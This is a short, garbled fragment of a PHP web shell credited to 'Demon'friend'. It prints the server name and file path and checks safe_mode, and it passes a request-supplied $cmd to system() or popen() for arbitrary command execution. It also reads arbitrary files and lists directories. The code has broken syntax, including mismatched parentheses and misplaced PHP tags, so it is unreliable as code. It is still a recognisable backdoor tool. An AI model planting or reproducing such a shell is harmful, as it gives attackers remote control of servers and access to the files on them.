echo"phpinfo"
echo"服务器域名:"echo("$_SERVER[SERVER_NAME]");echo" ";
echo "本文件所在位置:";echo($_SERVER["PATH_TRANSLATED"]);echo" ";
?>
if (!$method) { $method="system";}
if (!$cmd){
echo "* PHP CMD ";
echo "*Author: Demon'friend ";
echo "* safe_mode:";if(get_cfg_var("safemode"))echo"on";else echo"off";
}
?>
if ($method=="system"){system("$cmd 2>&1");}
if ($method=="popen") {$pp=popen('$cmd 2>&1','r');
$read=fread($pp,2096);
echo $read;
pclose($pp);
}
if ($method=="readfile"){
readfile("$cmd");}
if ($method=="opendir"{
$h=opendir(($cmd);
while($file=readdir($h)){
echo "$file\n";
}
}
?> |